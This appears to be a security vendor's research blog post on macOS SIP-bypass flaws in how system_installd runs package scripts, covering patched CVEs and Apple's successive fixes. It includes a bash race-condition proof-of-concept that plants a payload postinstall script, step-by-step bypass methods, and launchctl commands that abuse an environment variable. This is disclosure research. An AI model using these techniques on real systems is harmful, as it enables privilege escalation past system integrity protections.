Exploits & Vulnerabilities
Diving into an Old Exploit Chain and Discovering 3 new SIP-Bypass Vulnerabilities
More than two years ago, a researcher, A2nkF demonstrated the exploit chain from root privilege escalation to SIP-Bypass up to arbitrary kernel extension loading. In this blog entry, we will discuss how we discovered 3 more vulnerabilities from the old exploit chain.
More than two years ago, a researcher, A2nkF, published the details of an interesting exploit chain on the Objective-See blog. He demonstrated the exploit chain from root privilege escalation to SIP-Bypass up to arbitrary kernel extension loading.
After diving into the second vulnerability of the exploit chain, we found that Apple’s patch for this issue is easy to bypass in many ways. Apple then released an update to address the issues (CVE-2022-26690, CVE-2022-32786, and a few more), thanks to this investigation’s credit.
Incidentally, we also disclosed 15+ new SIP-bypass vulnerabilities to Apple and talked about some of them at the POC2022 Security Conference. This is the second entry of a three-part series of blog entries. The first blog discussed SIP introduction and special daemon services’ entitlements.
The old vulnerability
A2nkF found the vulnerability in a postinstall script of an Apple-signed package to bypass the SIP restrictions, because the script was spawned by the system_installd service, it will be executed in a SIP-Bypass context.
The “$3” is an arbitrary install destination volume path, specified from the installer command-line parameter. It allows an attacker to drop a malicious payload at the specified location to bypass the SIP restrictions.
Patching the vulnerability
Apple has addressed this issue in two steps. First, from the vulnerable package side, remove the $3 and use the hardcoded application path instead.
The second step is to add a new XPC service named package_script_service.xpc, which is a bundle inside the PackageKit framework. The XPC service is used to run package scripts with root privilege but without the SIP-Bypass privilege, because it is spawned by launchd rather than by system_installd.
If the install destination volume is not equal to the root volume, it will use the XPC service to run the package scripts in a safe and isolated environment.
A new bypass appears
According to the aforementioned patch, we can see that if we can bypass the volume path check at line 81, then the system_installd service will spawn the script directly instead of resorting to the isolated XPC service.
The question then is, how can we bypass the volume path check? Through debugging, we found that the destination volume path returned at line 80 is an arbitrary mounted DMG volume path that we specified from the installer command line.
So what happens if we eject the DMG volume immediately before the check? Testing this inquiry, we found that it would return the root volume at line 80 and bypass the check at line 81 as expected.
Here is how the exploitation works using a bash script:
#!/bin/bash
echo "[*] preparing the payload..."
MOUNT_DIR="/tmp/.exploit"
PAYLOAD_DIR="$MOUNT_DIR/payload"
PAYLOAD_POST_PATH="$PAYLOAD_DIR/postinstall"
PAYLOAD_PRE_PATH="$PAYLOAD_DIR/preinstall"
mkdir -p "$PAYLOAD_DIR"
# create postinstall script
echo "#!/bin/bash" > "$PAYLOAD_POST_PATH"
echo $1 >> "$PAYLOAD_POST_PATH"
chmod +x "$PAYLOAD_POST_PATH"
# create preinstall script just to make the exploit more elegant
echo "#!/bin/bash" > "$PAYLOAD_PRE_PATH"
echo "echo 'just a place holder, our payload is in the postinstall.'" >> "$PAYLOAD_PRE_PATH"
chmod +x "$PAYLOAD_PRE_PATH"
echo "[*] preparing the dmg mounting..."
hdiutil create -size 50m -volname .exploit -ov disk.dmg
hdiutil attach -mountpoint $MOUNT_DIR disk.dmg
sudo echo "[*] all the preparations are done."
sudo installer -pkg $2 -target $MOUNT_DIR &
echo "[*] waiting for installer..."
while true ; do
target=`compgen -G "$MOUNT_DIR/.PKInstallSandboxManager-SystemSoftware/*/OpenPath*/Scripts/*/postinstall"`
if [ $target ]; then
#hdiutil detach $MOUNT_DIR
#detach is slow, kill the process will help us eject the dmg immediately, to win the race condition.
kill -9 `pgrep diskimages`
# re-create the scripts path and put our payload inside.
TARGET_DIR="${target%'postinstall'}"
echo "[*] re-creating target path: $TARGET_DIR"
mkdir -p "$TARGET_DIR"
mv "$PAYLOAD_DIR/*" "$TARGET_DIR"
echo "[*] replaced target: $target"
break
fi
done
echo "[*] all done. enjoy :P"
Here’s how the exploit works:
- Before installing a PKG file, create a malicious post-install script and then mount a DMG volume
- Use the installer command to install an Apple-signed package to the DMG volume
- Monitor the file creation of the post-install script in the DMG volume
- Once found, eject the DMG volume immediately, and then recreate the same directory on the root volume
- Move the previously prepared payload script into the directory
- Wait for the payload script to be executed in a SIP-Bypass context
There is a small trick used in this exploit: the detach subcommand of hdiutil is too slow to win the race condition. The fastest way is to kill the diskimages-helper process directly.
The bash exploitation should have worked, but it failed. This is because the shell script is so slow, it always loses the race condition. However, rewriting the logic in C language would cause the script to work.
A new patch
Apple addressed the issue with CVE-2022-26690.
Before launching the package scripts, it will check whether the scripts directory is restricted (trusted). If not, it will use the safe and isolated XPC service to launch the script.
This logic works for three reasons:
- In a normal scenario, the scripts directory is restricted for Apple-signed packages. It is inside a restricted path, /Library/Apple/. Thus, the script inside can be trusted and will be spawned directly.
- If installed to a mounted DMG volume, the scripts directory is not restricted, even though it was created by the API, rootless_mkdir_restricted. So, the script inside a DMG volume is untrusted and should be launched by the isolated XPC service.
- If the DMG volume is ejected, the scripts directory will disappear. Even if the same path is created, it will not be restricted.
Here is how it checks whether a path is restricted internally by calling the API, rootless_check_trusted_fd. The path is opened with flag 0x220000 (O_SYMLINK), so it could not be bypassed by a symbolic link attack.
Bypass still occurs
However, it can still be bypassed. Before introducing the bypass method, let us make sense of how the scripts directory was created.
Through debugging, we found that the scripts directory is a path like:
/private/tmp/.exploit/.PKInstallSandboxManager-SystemSoftware/101B1766-A83A-4A00-B9D8-785F1B7583F4.activeSandbox/OpenPath.zP67Z8/Scripts
To conduct the test, /private/tmp/.exploit is the DMG volume created for exploitation.
.PKInstallSandboxManager-SystemSoftware is named “Sandbox Repository”, created by the function, -[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]:
The 101B1766-A83A-4A00-B9D8-785F1B7583F4.activeSandbox directory is named “Install Sandbox Path,” created by the function block, -[PKInstallSandboxManager addSandboxPathForDestination:forSystemSoftware:]:
We can see that both “Sandbox Repository” and “Install Sandbox Path” are created by the API, rootless_mkdir_restricted.
This time, we tested the process of ejecting the DMG volume right before the creation of the Install Sandbox Path. After the test, we found it will create the restricted Install Sandbox Path on the root volume as expected, and it will bypass the scripts directory check we mentioned before.
But one more challenge is that we can’t modify the scripts directly because the scripts directory is now restricted. The solution for this is to use the “mount trick,” which is a method used to mount another DMG file onto the ejected DMG volume path again. The scripts directory will then be overlapped and not restricted.
Here is how the new exploit works:
- Create a DMG file and mount it onto the directory /tmp/.exploit
- Install an Apple-signed package onto the mounted DMG volume
- In the function _sandboxRepositoryForDestination:XXX, once it creates and returns the path in the DMG volume as its sandbox repository, eject the DMG volume immediately and then create the sandbox repository on the root volume
- In the function _runPackageScriptXXX, once it passed the scripts directory check, mount another DMG file onto the same directory, /tmp/.exploit, then recreate the same scripts directory and deposit any script there
- Wait for the payload script to be spawned directly
Keeping up with the patch
Apple patched the same issue again in macOS Ventura, but without a CVE assigned yet. Now the new patch moves the verification logic into a function named _systemTrustedAndOnVolumeAtPath and sets the return value to a member variable of PKInstallSandbox named _trustedSystemSandbox.
Next, stepping into the new function _systemTrustedAndOnVolumeAtPath:
We can see that it enumerates the path components of a given path. It requires each path component to have the flag SF_NOUNLINK or SF_RESTRICTED to make sure each path component can’t be mountable.
Bypassed again
From the key function -[PKRunPackageScriptInstallOperation _runPackageScriptXXX]:
We can see that if the environment variable _OSINSTALL_ENVIRONMENT is set to TRUE, then it will also spawn the script directly, regardless if it’s from a restricted location.
Here is how it is exploited:
- Set the environment variable for the daemon service system_installd: sudo launchctl stop com.apple.system_installd
sudo launchctl setenv __OSINSTALL_ENVIRONMENT 1
sudo launchctl start com.apple.system_installd - Prepare a DMG volume and install an Apple-signed PKG to the untrusted DMG volume
- Modify the postinstall script directly from the unrestricted DMG volume, which will be spawned directly by the system_installd service and thus be executed in a SIP-Bypass context
Patched and good to go
Apple patched the issue (CVE-2022-32786) in macOS 12.5.
Now it calls the API os_variant_is_basesystem, instead of fetching from an untrusted environment variable.
Security recommendations
Apple has been ensuring that all exploits are patched and covered. However, it is still on the user to protect their machines. Strengthen your system’s security by updating your macOS to the latest version.
Additionally, adding protection on your Mac computer is key to ensuring safety. Trend Micro Antivirus for Mac for home computers and Trend Micro Protection Suites for enterprises provide detection, monitoring, and further protection for existing and downloaded files.